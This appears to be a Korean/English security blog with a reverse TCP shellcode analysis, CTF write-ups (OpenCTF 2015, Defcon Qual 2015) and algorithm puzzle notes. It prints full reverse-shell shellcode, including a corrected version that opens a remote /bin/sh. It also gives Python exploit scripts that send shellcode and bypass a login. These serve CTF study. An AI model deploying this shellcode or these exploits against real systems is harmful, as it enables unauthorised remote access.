페이지

2016년 2월 17일 수요일

Reverse TCP shellcode 분석

인터넷에서 다양한 reverse TCP 쉘코드를 찾을 수 있는데 실전에서 사용시 가끔 잘 동작하지 않을때가 있어서(nc로 연결하자마자 종료된다던지) 쉘코드를 한번 분석해봤습니다.

분석할 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-849.php 입니다.
링크 외에도 다양한 reverse TCP 쉘코드가 많은데, 제가 본 코드중에 가장 가독성 있고, 깔끔한 쉘코드여서 해당 쉘코드를 선택했습니다.

어셈코드는 다음과 같습니다.
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 db                   xor    ebx,ebx
 8048064:       31 c9                   xor    ecx,ecx
 8048066:       31 d2                   xor    edx,edx
 8048068:       b0 66                   mov    al,0x66
 804806a:       b3 01                   mov    bl,0x1
 804806c:       51                      push   ecx
 804806d:       6a 06                   push   0x6
 804806f:       6a 01                   push   0x1
 8048071:       6a 02                   push   0x2
 8048073:       89 e1                   mov    ecx,esp
 8048075:       cd 80                   int    0x80
 8048077:       89 c6                   mov    esi,eax
 8048079:       b0 66                   mov    al,0x66
 804807b:       31 db                   xor    ebx,ebx
 804807d:       b3 02                   mov    bl,0x2
 804807f:       68 c0 a8 01 0a          push   0xa01a8c0
 8048084:       66 68 7a 69             pushw  0x697a
 8048088:       66 53                   push   bx
 804808a:       fe c3                   inc    bl
 804808c:       89 e1                   mov    ecx,esp
 804808e:       6a 10                   push   0x10
 8048090:       51                      push   ecx
 8048091:       56                      push   esi
 8048092:       89 e1                   mov    ecx,esp
 8048094:       cd 80                   int    0x80
 8048096:       31 c9                   xor    ecx,ecx
 8048098:       b1 03                   mov    cl,0x3
0804809a <dupfd>:
 804809a:       fe c9                   dec    cl
 804809c:       b0 3f                   mov    al,0x3f
 804809e:       cd 80                   int    0x80
 80480a0:       75 f8                   jne    804809a ; <dupfd>
 80480a2:       31 c0                   xor    eax,eax
 80480a4:       52                      push   edx
 80480a5:       68 6e 2f 73 68          push   0x68732f6e
 80480aa:       68 2f 2f 62 69          push   0x69622f2f
 80480af:       89 e3                   mov    ebx,esp
 80480b1:       52                      push   edx
 80480b2:       53                      push   ebx
 80480b3:       89 e1                   mov    ecx,esp
 80480b5:       52                      push   edx
 80480b6:       89 e2                   mov    edx,esp
 80480b8:       b0 0b                   mov    al,0xb
 80480ba:       cd 80                   int    0x80

소스코드는 다음과 같습니다.
socketcall 함수의 첫번째 인자는 호출할 socket관련 함수의 번호이며, 두번째 인자는 socket관련 함수에 전해줄 인자들이 들어있는 배열입니다.
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수

struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET; // 0x2
serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10");
serverAddr.sin_port = htons(31337);
socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수

int i = 3;
while (i--) dup2(3, i);

execve("/bin/sh", ["/bin/sh", NULL], NULL);

여기서 문제가 되는 부분은 dup2 함수를 호출할때입니다.
쉘을 연결해야 하는 socketFD를 이용하지 않고 단순히 3번 FD를 stdin, stdout, stderr로 바꿔주네요.
단지 링크에 올려놓은 쉘코드뿐만 아니라 인터넷에 올라와있는 많은 쉘코드들이 저런식으로 코딩돼 있습니다.

만약 쉘코드가 실행되기 전에 바이너리 안에서 파일을 open 후 close 하지 않거나, 다른 프로세스와 통신하기 위해 파이프라인을 생성했다면, 또는 그 외에 File Descriptor를 생성하는 모든 함수에 의해 socketFD는 3번이 아니게 될 수 있습니다.

그러므로 간단하게 dup2 함수 호출 전에 socket함수로 반환된 socketFD를 저장해놓은 esi 레지스터 값을 ebx에다가 mov 해주면 어떠한 상황에서도 정상적으로 동작 할 수 있습니다.
소스코드
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수

struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET; // 0x2
serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10");
serverAddr.sin_port = htons(31337);
socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수

int i = 3;
while (i--) dup2(socketFD, i); // 수정된 부분

execve("/bin/sh", ["/bin/sh", NULL], NULL);


어셈코드는 다음과 같습니다.
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 db                   xor    ebx,ebx
 8048064:       31 c9                   xor    ecx,ecx
 8048066:       31 d2                   xor    edx,edx
 8048068:       b0 66                   mov    al,0x66
 804806a:       b3 01                   mov    bl,0x1
 804806c:       51                      push   ecx
 804806d:       6a 06                   push   0x6
 804806f:       6a 01                   push   0x1
 8048071:       6a 02                   push   0x2
 8048073:       89 e1                   mov    ecx,esp
 8048075:       cd 80                   int    0x80
 8048077:       89 c6                   mov    esi,eax
 8048079:       b0 66                   mov    al,0x66
 804807b:       31 db                   xor    ebx,ebx
 804807d:       b3 02                   mov    bl,0x2
 804807f:       68 c0 a8 01 0a          push   0xa01a8c0
 8048084:       66 68 7a 69             pushw  0x697a
 8048088:       66 53                   push   bx
 804808a:       fe c3                   inc    bl
 804808c:       89 e1                   mov    ecx,esp
 804808e:       6a 10                   push   0x10
 8048090:       51                      push   ecx
 8048091:       56                      push   esi
 8048092:       89 e1                   mov    ecx,esp
 8048094:       cd 80                   int    0x80
 8048096:       89 d9                   mov    ecx,ebx ; ebx == 3
 8048098:       89 f3                   mov    ebx,esi ; esi == socket file descriptor
0804809a <dupfd>:
 804809a:       fe c9                   dec    cl
 804809c:       b0 3f                   mov    al,0x3f
 804809e:       cd 80                   int    0x80
 80480a0:       75 f8                   jne    804809a ; <dupfd>
 80480a2:       31 c0                   xor    eax,eax
 80480a4:       52                      push   edx
 80480a5:       68 6e 2f 73 68          push   0x68732f6e
 80480aa:       68 2f 2f 62 69          push   0x69622f2f
 80480af:       89 e3                   mov    ebx,esp
 80480b1:       52                      push   edx
 80480b2:       53                      push   ebx
 80480b3:       89 e1                   mov    ecx,esp
 80480b5:       52                      push   edx
 80480b6:       89 e2                   mov    edx,esp
 80480b8:       b0 0b                   mov    al,0xb
 80480ba:       cd 80                   int    0x80

2015년 12월 7일 월요일

codingame - MEDIUM - Heat Detector

Binary search problem.

First, check location of bomb's room.

Second, set base distance to calculate binary search.

Third, start binary search.

source link

2015년 10월 31일 토요일

codingame - MEDIUM - Skynet: the Virus

This is a simple graph problem.

There are graph data, the position of 'Skynet agent' and Gateway node numbers.

Our goal is to prevent the approaching of Skynet Agent to the gateway.

This problem is so simple because we just can redraw links that connected with the gateway.

But there an additional achievement for consuming fewer links.

So I calculated the shortest path from the gateway to Skynet agent every each turn. And redraw the nearest link from Skynet agent.

source link

2015년 8월 14일 금요일

OpenCTF 2015 - Sigil of Darkness

Binary file is given.

First, I decompiled the binary file. And It was a so simple binary.
__int64 main()
{
  void *buffer;

  buffer = mmap(0LL, 0xFFuLL, 7, 34, -1, 0LL);
  memset(buffer, 0, 0xFFuLL);
  read(0, buffer, 0x10uLL);
  ((void (__fastcall *)(_QWORD, void *))buffer)(0LL, buffer);
  return 0LL;
}
It just make memory map, read 0x10byte from user, and execute code.

But 0x10byte is too small to send a shellcode.

So I decided to use ROP.
0x400606:   call   0x400490 <memset plt="">
0x40060b:   mov    rax,QWORD PTR [rbp-0x8]
0x40060f:   mov    edx,0x10
0x400614:   mov    rsi,rax
0x400617:   mov    edi,0x0
0x40061c:   call   0x4004a0 <read plt="">  // to this address
0x400621:   mov    rdx,QWORD PTR [rbp-0x8]
0x400625:   mov    eax,0x0
0x40062a:   call   rdx
0x40062c:   mov    eax,0x0
0x400631:   leave
0x400632:   ret
I sent 'mov edx, 0x50; mov eax, 0x40061c; call rax' asm code to make the program execute 'read function' and code again. And I Sent the shellcode to obtain the shell.

rdx is must to not be a too big value. (I have wasted too much time at this point) :(
# Attack.py

import struct
import telnetlib
from socket import *

HOST = "10.0.66.72"
PORT = 6611

s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

#exploit!

# mov edx, 0x50
# mov eax, 0x40061c
# call rax
payload = "\xBA\x50\x00\x00\x00\xB8\x1C\x06\x40\x00\xFF\xD0"

shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

s.send(payload + "\n")
s.send(shellcode + "\n")

t = telnetlib.Telnet()
t.sock = s
t.interact()

s.close()

OpenCTF 2015 - blackSmoke - highLow

blackSmoke binary is the program that run code received from the server.

When I decompiled the binary, main function code was same with below.
int main(int argc, const char **argv, const char **envp)
{
  int result;
  int v4;
  int v5;
  int v6;
  int *v7;
  int *v8;
  int v9;
  int v10;

  v10 = *MK_FP(__GS__, 20);
  pipe(&v5);
  pipe(&v6);
  v7 = &v5;
  v8 = &v6;
  puts("blackSmoke_client v1.4");
  antidebugging((int)envp);
  holyAngel((int)&v7);
  puts("pulling down a list of games available");
  loadGame((int)&v7, "GETGAMES\n");
  fgets((char *)&v9, 1024, _bss_start);
  loadGame((int)&v7, (const char *)&v9);
  sleep(1u);
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v10;
  return result;
}
main function had a antidebugging function, and I overwrote it 'nop' for debugging.

And I found that program run code received from the server in loadGame().
int loadGame(int a1, const char *a2)
{
  size_t v2;
  size_t buf;
  int fd;
  int v6;
  void *s;
  size_t len;
  struct sockaddr addr;
  int v10;

  v10 = *MK_FP(__GS__, 20);
  v6 = 0;
  buf = 0;
  len = 2048;
  putchar(46);
  s = mmap(0, 0x800u, 7, 34, -1, 0);
  putchar(46);
  memset(s, 0, 0x800u);
  putchar(46);
  fd = socket(2, 1, 0);
  memset(&addr, 0, 0x10u);
  addr.sa_family = 2;
  *(_DWORD *)&addr.sa_data[2] = inet_addr("10.0.66.76");
  *(_WORD *)&addr.sa_data[0] = htons(11112u);
  if ( connect(fd, &addr, 0x10u) )
  {
    puts("Network error!");
  }
  else
  {
    v2 = strlen(a2);
    send(fd, a2, v2, 0);
    if ( recv(fd, &buf, 4u, 0) )
    {
      putchar(46);
      buf = (buf >> 8) & 0xFF00 | (buf << 8) & 0xFF0000 | ((unsigned __int64)buf >> 24) | (buf << 24);
      printf("Got size %lu...", buf);
      v6 = recv(fd, s, buf, 0);
      if ( v6 == buf )
      {
        close(fd);
        printf("done");
        putchar(46);
        ((void (*)(const char *, ...))s)((const char *)dlopen, dlsym, dlerror, dlclose, a1);    // run code received from the server
        puts(".");
        munmap(s, len);
      }
      else
      {
        puts("\nGame Download error!");
        printf("Incomplete size %d when expecting %lu\n", v6, buf);
      }
    }
    else
    {
      puts("\nGame Download error!");
    }
  }
  return *MK_FP(__GS__, 20) ^ v10;
}
I found that 'highLow' game code when the loadGame() was second called.

highLow is the simple game that to get point by compare the two card. (current top and next top)

If correct all 100 round, then get the flag.

Specially I had find score check assembly in gamecode.
0xb7fd8cb1: call   eax
0xb7fd8cb3: jmp    0xb7fd8cc6
0xb7fd8cb5: sub    DWORD PTR [ebp-0x274],0x1
0xb7fd8cbc: mov    DWORD PTR [ebp-0x268],0x1
0xb7fd8cc6: add    DWORD PTR [ebp-0x274],0x1
0xb7fd8ccd: cmp    DWORD PTR [ebp-0x274],0x63   // for loop check
0xb7fd8cd4: jle    0xb7fd8a1d
0xb7fd8cda: cmp    DWORD PTR [ebp-0x278],0x63   // score check
0xb7fd8ce1: jle    0xb7fd8d7d
0xb7fd8ce7: mov    eax,DWORD PTR [ebp-0x2ac]
0xb7fd8ced: add    eax,0x4
0xb7fd8cf0: mov    eax,DWORD PTR [eax]
0xb7fd8cf2: add    eax,0x4
I had set breakpoint on '0xb7fd8cda' address, and then modified score.

Program was printed a The Key is : theBankIsAlwaysRight string.

But 'theBankIsAlwaysRight' is not the real key. :(

I found the key by capturing packets when program printing the string.

The flag is 'theBankIsAlwaysRightButAreTheTellers'

2015년 6월 17일 수요일

acmicpc.net - 7476 - 최대 공통 증가 수열

https://www.acmicpc.net/problem/7476/

최대 공통 수열이 아니다.
최대 공통 증가 수열이다.

최대 공통 수열과 같이 DP로 풀면 되지만.
조금 고려해줘야 하는 것들이 있다.

최대 공통 수열에서는 'a[i] == b[j]' 일때 'dynamic[i][j] = dynamic[i][j - 1] + 1' 로 계산해주면 되지만.
최대 공통 증가 수열에서는 'a[i] == b[j]' 일때 dynamic[i][j] = (k:0 ~ j-1) if (b[k] < b[j]) 인 max(dynamic[i][k]) + 1 이다.

다시 정리하자면

a[i] == b[j] 일때 수열b에서 b[j]보다 작은 b[k]중 dynamic[i][k] 가 가장 큰 값을 가져오면 된다.

최종적으로 길이를 구할때도 dynamic[N][1~M] 을 확인하여 제일 큰 값을 가져오면 된다.

2015년 5월 18일 월요일

Defcon Qual 2015 - accesscontrol

binary
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/reverse/access-control

Server access problem.

Reversing client binary. And access. And solve challenge

'duchess' user has privilege to 'print key'. So we need to login 'duchess'

import struct
import time
import telnetlib
from socket import *

HOST = "52.74.123.29"
PORT = 17069

userID = "duchess"  # admin ID

def Encrypt(dataStr, saltStr) :
    result = ""
    for data, salt in zip(dataStr, saltStr) :
        tem = ord(data) ^ ord(salt)
        if tem <= 31 :
            tem += 32
        if tem == 127 :
            result += chr(33)
        else :
            result += chr(tem)

    return result

s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
connectionID = data[15 : 30]
print "[*] get connection ID -", connectionID

# version
print s.recv(1024)
s.send("version 3.11.54\n")
print "[*] send version 3.11.54"
time.sleep(1)
s.recv(1024)

saltIdx = 0

# login try
for i in range(3) :
    # userID
    s.send(userID + "\n")
    print "[*] send userID " + userID
    time.sleep(1)
    s.recv(1024)
    
    # password
    salt = connectionID[1 + i : 1 + i + 5]
    password = Encrypt(userID, salt)
    s.send(password + "\n")
    print "[*] send password " + password
    time.sleep(1)
    data = s.recv(1024)
    if data.find(userID) != -1 :
        saltIdx = i
        break

print "[*] login Success"
print "salt idx -", saltIdx

s.send("print key\n")

data = s.recv(1024)
challenge = data[11 : 16]
print "[*] challenge - " + challenge

# solve challenge
chalSalt = connectionID[7 + saltIdx : 7 + saltIdx + 5]
key = Encrypt(challenge, chalSalt)

print "[*] chalKey " + key
s.send(key + "\n")

time.sleep(1)
print s.recv(1024)

s.close()